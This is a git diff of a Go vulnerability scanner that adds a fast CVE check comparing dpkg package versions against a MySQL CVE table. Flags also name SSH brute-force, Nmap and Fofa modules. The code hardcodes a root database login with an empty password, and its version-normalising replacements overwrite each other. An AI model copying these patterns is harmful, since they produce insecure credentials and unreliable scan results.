github.com/jesseduffield/gocui v0.3.0 h1:l7wH8MKR2p+ozuZdtdhQiX7szILbv50vkMk1tg2+xow=

View File

@ -29,6 +29,7 @@ type Vul struct{
SSHBurst string //SSH爆破
Nmap string //Nmap模块,端口和IP放在RAVUL中
Fofa string //fofa接口调用需要输入查询命令
FastScan string //快速扫描模式/版本匹配
}
type FofaCommand struct{
@ -115,6 +116,9 @@ func main(){
// Fofa模块
Fofa:=flag.Bool("Fofa",false,"Fofa探测,必用参数FofaCom")
flag.StringVar(&FC.FofaCom, "fofaCom", "null", "设置特定公司名")
//版本匹配,快速扫描
FastScan := flag.Bool("FastScan", false, "使用远程检测,只能单独使用模块")
//
All := flag.Bool("all", false, "只扫描system,kernel的所有poc以及检测baselin模块不可联合其他参数使用")
@ -139,6 +143,8 @@ func main(){
vul.SSHBurst =strconv.FormatBool(*SSHB)
vul.Nmap = strconv.FormatBool(*NmapScan)
vul.Fofa = strconv.FormatBool(*Fofa)
vul.FastScan = strconv.FormatBool(*FastScan)
//是否开启远程检测
if vul.RemoteAssessment=="true"{
@ -156,6 +162,7 @@ func main(){
ArgParser.SSHBurst(vul.SSHBurst,SSHBurstList[:])
ArgParser.NmapScan(vul.Nmap, NmapScanList[:])
ArgParser.FofaApi(vul.Fofa,FC.FofaCom)
ArgParser.SystemFastScan(vul.FastScan)
ArgParser.ParameterParser(vul.System,vul.Kernel,vul.Web,vul.BaseLine,sAll,vul.PoolStatNum,vul.ParserNum,vul.Update,vul.IP,help)
}
return

4
src/requirements.txt Normal file
View File

@ -0,0 +1,4 @@
smbprotocol==1.9.0
requests==2.28.1
dbus-python==1.2.16
simplejson==3.16.0

View File

@ -0,0 +1,195 @@
// 操作系统漏洞快扫模式目前展示在内部使用
package FastScan
import (
_ "github.com/go-sql-driver/mysql"
"database/sql"
"fmt"
"strings"
"bytes"
"os/exec"
// "reflect"
)
var (
dbhostsip = "172.17.20.121:3306"
dbusername = "root"
dbpassword = ""
dbname = "kylincve"
)
func checkerr(err error){
if err!=nil{
fmt.Println(err)
return
}
}
var (
version0 = 0
version1 = 1
version2 = 2
)
func StrTrimSpace(v1str,v2str string )(v1,v2 string ){
v1=strings.TrimSpace(v1str)
v2=strings.TrimSpace(v2str)
return
}
func comparSlice(v1slice,v2slice []string )int{
for index,_ :=range v1slice{
if v1slice[index] > v2slice[index]{
return version1
}
if v1slice[index] < v2slice[index]{
return version2
}
if len(v1slice)-1 == index {
return version0
}
}
return version0
}
func comparSlice1(v1slice,v2slice []string,flas int )int{
for index,_ :=range v1slice{
//按照正常逻辑v1slice 长度小
if v1slice[index] > v2slice[index]{
if flas == 2{
return version2
}
return version1
}
if v1slice[index] < v2slice[index]{
if flas == 2{
return version1
}
return version2
}
if len(v1slice)-1 == index {
if flas == 2{
return version1
}else if flas == 1{
return version2
}
}
}
return version0
}
func compareStrVer(v1,v2 string)(res int ){
s1, s2 := StrTrimSpace(v1, v2)
v1slice := strings.Split(s1,".")
v2slice := strings.Split(s2,".")
//长度不相等直接退出
if len(v1slice) != len(v2slice){
if len(v1slice) > len(v2slice){
res=comparSlice1(v2slice,v1slice,2)
return res
}else{
res=comparSlice1(v1slice,v2slice,1)
return res
}
}else{
res = comparSlice(v1slice, v2slice)
}
return res
}
func fastScan(dpkgInfo []string){
dbinfo := strings.Join([]string{dbusername, ":", dbpassword, "@tcp(", dbhostsip, ")/", dbname, "?charset=utf8"}, "")
db,err:=sql.Open("mysql",dbinfo)
checkerr(err)
// 设置最大连接数
db.SetConnMaxLifetime(100)
// 设置数据库最大的闲置连接数
db.SetMaxIdleConns(10)
//>>>dbInfo
type info struct {
id int `db:"id"`
cve_no string `db: "cve_no"`
role_level string `db: "role_level"`
ubuntu_v4_status string `db: "ubuntu_v4_status"`
version_v4_status string `db: "version_v4_status"`
ubuntu_v4_edition string `db: "ubuntu_v4_edition"`
kylin_v4_edition string `db: "kylin_v4_edition"`
ubuntu_v10_status string `db: "ubuntu_v10_status"`
version_v10_status string `db: "version_v10_status"`
ubuntu_v10_edition string `db: "ubuntu_v10_edition"`
kylin_v10_edition string `db: "kylin_v10_edition"`
ubuntu_v10_1_status string `db: "ubuntu_v10_1_status"`
version_v10_1_status string `db: "version_v10_1_status"`
ubuntu_v10_1_edition string `db: "ubuntu_v10_1_edition"`
kylin_v10_1_edition string `db: "kylin_v10_1_edition"`
version_ubuntu_kylin_status string `db: "version_ubuntu_kylin_status"`
ubuntu_kylin_edition string `db: "ubuntu_kylin_edition"`
package_name string `db: "package_name"`
publish_status string `db: "publish_status"`
date string `db: "date"`
}
//预编译处理查询数据防止sql注入
sqlStr :="SELECT * FROM kvsp_cvelist where package_name = ?"
stmt, err := db.Prepare(sqlStr)
checkerr(err)
defer stmt.Close()
for i:=0;i<len(dpkgInfo);i++{
if i & 1 == 0 {
rows, err := stmt.Query(dpkgInfo[i])
checkerr(err)
for rows.Next(){
var s info
err = rows.Scan(&s.id,&s.cve_no,&s.role_level,&s.ubuntu_v4_status,&s.version_v4_status,&s.ubuntu_v4_edition,&s.kylin_v4_edition,&s.ubuntu_v10_status,&s.version_v10_status,&s.ubuntu_v10_edition,&s.kylin_v10_edition,&s.ubuntu_v10_1_status,&s.version_v10_1_status,&s.ubuntu_v10_1_edition,&s.kylin_v10_1_edition,&s.version_ubuntu_kylin_status,&s.ubuntu_kylin_edition,&s.package_name,&s.publish_status ,&s.date)
checkerr(err)
dpkgInfoStr:=dpkgInfo[i+1]
result:=PushCompareVersion(s.cve_no,dpkgInfoStr,s.ubuntu_v10_1_edition)
if result==2{
fmt.Println("ID:",s.id,"NO:",s.cve_no,"Role:",s.role_level,"Security_Version:",s.ubuntu_v10_1_edition,"Current_Version:",dpkgInfoStr)
}
}
rows.Close()
}
}
}
//Push will Compare system package version
func PushCompareVersion(cve_no string,dpkgInfoStr string,ubuntu_v10_1_edition string)(result int){
if len(ubuntu_v10_1_edition)<2 {
return
}else{
v1 := strings.ReplaceAll(dpkgInfoStr, "ubuntu", ".")
v1 = strings.ReplaceAll(dpkgInfoStr, "kylin", ".")
v2 := strings.ReplaceAll(ubuntu_v10_1_edition, "ubuntu", ".")
v2 = strings.ReplaceAll(ubuntu_v10_1_edition, "kylin", ".")
result=compareStrVer(v1,v2)
return result
}
}
func GetdpkgInfo(){
cmdStr:="dpkg -l|awk '{print $2,$3}'"
cmd := exec.Command("/bin/bash", "-c", cmdStr)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 标准输出
cmd.Stderr = &stderr // 标准错误
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
if len(errStr)!=0{
fmt.Printf(errStr)
}
outStr=strings.TrimSpace(outStr)
if err != nil {
fmt.Println("cmd.Run() failed with %s\n", errStr)
}
dpkgInfo := strings.Fields(outStr)
dpkgInfo = append(dpkgInfo[5:])
fastScan(dpkgInfo)
}

View File

@ -1,3 +0,0 @@
// 操作系统漏洞快扫模式目前展示在内部使用
package FastScan